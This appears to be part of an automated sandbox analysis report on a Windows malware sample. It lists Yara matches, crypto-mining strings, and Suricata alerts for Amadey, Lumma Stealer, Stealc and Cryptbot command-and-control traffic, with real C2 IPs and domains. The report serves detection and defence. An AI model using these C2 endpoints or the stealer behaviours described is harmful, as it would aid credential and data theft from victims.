                                      Source: Yara matchFile source: 30.3.Intel_PTT_EK_Recertification.exe.1ae777f0000.0.raw.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 31.2.explorer.exe.140000000.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 30.3.Intel_PTT_EK_Recertification.exe.1ae777f0000.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 41.3.Intel_PTT_EK_Recertification.exe.266a4d20000.0.unpack, type: UNPACKEDPE
                                      Source: Yara matchFile source: 0000001F.00000002.2843315351.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 0000002A.00000002.3265693433.00000001402DD000.00000002.00000001.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 0000002A.00000002.3265828395.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 0000001F.00000002.2842874964.0000000000B89000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 0000002A.00000002.3264642710.00000000007B6000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 0000001F.00000002.2842874964.0000000000BA9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 0000001F.00000002.2843407076.000000014040B000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 0000002A.00000002.3264642710.00000000007CC000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 00000029.00000003.3207300188.00000266A4D20000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmp, type: MEMORY
                                      Source: Yara matchFile source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 6824, type: MEMORYSTR
                                      Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 6300, type: MEMORYSTR
                                      Source: Yara matchFile source: Process Memory Space: Intel_PTT_EK_Recertification.exe PID: 5552, type: MEMORYSTR
                                      Source: Yara matchFile source: Process Memory Space: explorer.exe PID: 3836, type: MEMORYSTR
                                      Found strings related to Crypto-Mining
                                      Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: stratum+tcp://
                                      Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: cryptonight/0
                                      Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: -o, --url=URL URL of mining server
                                      Source: Intel_PTT_EK_Recertification.exe, 0000001E.00000003.2837268747.000001AE777F0000.00000004.00000001.00020000.00000000.sdmpString found in binary or memory: stratum+tcp://
                                      Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49855 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49863 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49868 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49874 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49879 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49886 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49895 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 104.21.12.88:443 -> 192.168.2.5:49907 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49915 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49923 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49929 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49937 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49946 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49955 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49960 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49965 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49983 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49987 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49988 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49993 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:49999 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50006 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50011 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50072 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50081 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50088 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50093 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50096 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50100 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50106 version: TLS 1.2
                                      Source: unknownHTTPS traffic detected: 172.67.179.109:443 -> 192.168.2.5:50110 version: TLS 1.2
                                      Source: Binary string: C:\EF5\Source\EntityFramework\obj\Release\EntityFramework.pdb source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp
                                      Source: Binary string: C:\Users\teres\AppData\Local\Temp\Report.A66214F7-6635-4084-8609-050NK772Dll\obj\Debug\JnTdehbm.pdb source: 1eb4b174fd.exe, 00000023.00000002.2884838244.0000000005430000.00000004.08000000.00040000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp
                                      Source: Binary string: sourceFinish_setup.pdb source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp
                                      Source: Binary string: PE.pdb source: 1eb4b174fd.exe, 00000023.00000002.2884598781.0000000005210000.00000004.08000000.00040000.00000000.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp
                                      Source: Binary string: .PDbPropertyValues_CannotGetValuesForState`/FDbPropertyValues_CannotSetNullValue source: 1eb4b174fd.exe, 00000023.00000000.2860852651.00000000005F2000.00000002.00000001.01000000.0000000E.sdmp, 1eb4b174fd.exe, 00000023.00000002.2881889948.0000000003C69000.00000004.00000800.00020000.00000000.sdmp
                                      Source: C:\Users\user\AppData\Local\Temp\1017194001\1f3cab3382.exeDirectory queried: number of queries: 2982
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006B7978 FindFirstFileW,FindFirstFileW,free,11_2_006B7978
                                      Source: C:\Users\user\AppData\Local\Temp\main\7z.exeCode function: 11_2_006B881C free,free,GetLogicalDriveStringsW,GetLogicalDriveStringsW,free,free,free,11_2_006B881C
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\main\extractedJump to behavior
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\main\Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\Jump to behavior
                                      Source: C:\Windows\System32\cmd.exeFile opened: C:\Users\user\AppData\Local\Temp\Jump to behavior
                                      Source: chrome.exeMemory has grown: Private usage: 1MB later: 29MB

                                      Networking

                                      barindex
                                      Suricata IDS alerts for network traffic
                                      Source: Network trafficSuricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:49789 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:49795
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49828 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49856 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49893 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.5:62876 -> 1.1.1.1:53
                                      Source: Network trafficSuricata IDS: 2058364 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat) : 192.168.2.5:53090 -> 1.1.1.1:53
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49915 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49917 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49923 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49929 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49937 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49946 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49948 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:49945 -> 185.215.113.206:80
                                      Source: Network trafficSuricata IDS: 2044244 - Severity 1 - ET MALWARE Win32/Stealc Requesting browsers Config from C2 : 192.168.2.5:49945 -> 185.215.113.206:80
                                      Source: Network trafficSuricata IDS: 2044245 - Severity 1 - ET MALWARE Win32/Stealc Active C2 Responding with browsers Config : 185.215.113.206:80 -> 192.168.2.5:49945
                                      Source: Network trafficSuricata IDS: 2044246 - Severity 1 - ET MALWARE Win32/Stealc Requesting plugins Config from C2 : 192.168.2.5:49945 -> 185.215.113.206:80
                                      Source: Network trafficSuricata IDS: 2044247 - Severity 1 - ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config : 185.215.113.206:80 -> 192.168.2.5:49945
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49955 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2044248 - Severity 1 - ET MALWARE Win32/Stealc Submitting System Information to C2 : 192.168.2.5:49945 -> 185.215.113.206:80
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49960 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49965 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:49967 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49983 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.5:55146 -> 1.1.1.1:53
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49987 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49988 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49999 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:49994 -> 185.185.71.170:80
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50006 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2856121 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M2 : 192.168.2.5:50002 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.5:53045 -> 1.1.1.1:53
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50011 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50019 -> 185.185.71.170:80
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:49993 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50050 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2058397 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (pancakedipyps .click) : 192.168.2.5:56562 -> 1.1.1.1:53
                                      Source: Network trafficSuricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:50071 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50072 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:50078 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50081 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054350 - Severity 1 - ET MALWARE Win32/Cryptbotv2 CnC Activity (POST) M4 : 192.168.2.5:50080 -> 185.185.71.170:80
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50087 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:50084 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50088 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50090 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:50092 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50093 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50096 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50100 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:50098 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:50097 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50105 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:50104 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50106 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50110 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058398 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (pancakedipyps .click in TLS SNI) : 192.168.2.5:50111 -> 104.21.23.76:443
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50131 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50137 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50141 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2058378 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat) : 192.168.2.5:53290 -> 1.1.1.1:53
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50178 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50181 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058354 - Severity 1 - ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat) : 192.168.2.5:50012 -> 1.1.1.1:53
                                      Source: Network trafficSuricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:50186 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50187 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50191 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:50192 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:50196 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50184 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:50189 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50203 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:50205 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50199 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:50201 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:50209 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2058355 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (aspecteirs .lat in TLS SNI) : 192.168.2.5:50212 -> 104.21.66.85:443
                                      Source: Network trafficSuricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50197 -> 185.215.113.206:80
                                      Source: Network trafficSuricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50214 -> 185.215.113.206:80
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50195 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2058365 - Severity 1 - ET MALWARE Observed Win32/Lumma Stealer Related Domain (grannyejh .lat in TLS SNI) : 192.168.2.5:50208 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2856147 - Severity 1 - ETPRO MALWARE Amadey CnC Activity M3 : 192.168.2.5:50274 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50211 -> 185.215.113.206:80
                                      Source: Network trafficSuricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50218 -> 185.215.113.206:80
                                      Source: Network trafficSuricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50294
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50245 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2856122 - Severity 1 - ETPRO MALWARE Amadey CnC Response M1 : 185.215.113.43:80 -> 192.168.2.5:50243
                                      Source: Network trafficSuricata IDS: 2044696 - Severity 1 - ET MALWARE Win32/Amadey Host Fingerprint Exfil (POST) M2 : 192.168.2.5:50297 -> 185.215.113.43:80
                                      Source: Network trafficSuricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.5:50206 -> 185.215.113.206:80
                                      Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49886 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49907 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49855 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49855 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49915 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49915 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49923 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49863 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49863 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49923 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49960 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49960 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2843864 - Severity 1 - ETPRO MALWARE Suspicious Zipped Filename in Outbound POST Request (screen.) M2 : 192.168.2.5:49895 -> 104.21.12.88:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:50006 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.5:49999 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49999 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.5:49929 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.5:49955 -> 172.67.179.109:443
                                      Source: Network trafficSuricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.5:49955 -> 172.67.179.109:443
